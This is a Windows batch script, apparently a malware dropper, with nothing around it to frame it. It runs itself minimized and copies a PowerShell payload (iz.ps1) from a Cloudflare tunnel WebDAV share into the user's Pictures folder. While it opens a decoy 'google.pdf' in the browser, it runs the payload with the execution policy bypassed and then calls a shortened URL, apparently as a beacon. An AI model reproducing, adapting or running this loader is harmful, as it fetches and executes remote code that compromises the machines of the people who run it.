@echo off
if "%1" == "" start "" /min "%~f0" MY_FLAG && exit
set source=\\attract-buffer-self-thumb.trycloudflare.com@SSL\DavWWWRoot
set destination=%USERPROFILE%\Pictures
REM Copy iz.ps1 to the destination folder
copy /Y "%source%\iz.ps1" "%destination%"
echo Opening PDF file...
start "" "https://mid-selections-prohibited-merely.trycloudflare.com/google.pdf"
REM Check if iz.ps1 was copied successfully
IF NOT EXIST "%destination%\iz.ps1" (
echo Failed to copy iz.ps1. Exiting script.
exit /b 1
) ELSE (
echo iz.ps1 copied successfully.
echo Running iz.ps1 with Bypass policy...
powershell -ExecutionPolicy Bypass -File "%destination%\iz.ps1"
IF NOT "%ERRORLEVEL%"=="0" (
echo iz.ps1 failed to execute. Exiting script.
exit /b 1
) ELSE (
echo iz.ps1 executed successfully.
echo Closing the script after executing iz.ps1.
powershell.exe -ExecutionPolicy Bypass -Command (new-object System.Net.WebClient).DownloadFile('https://2no.co/2aLvY5','x.txt') 2> nul
exit /b 0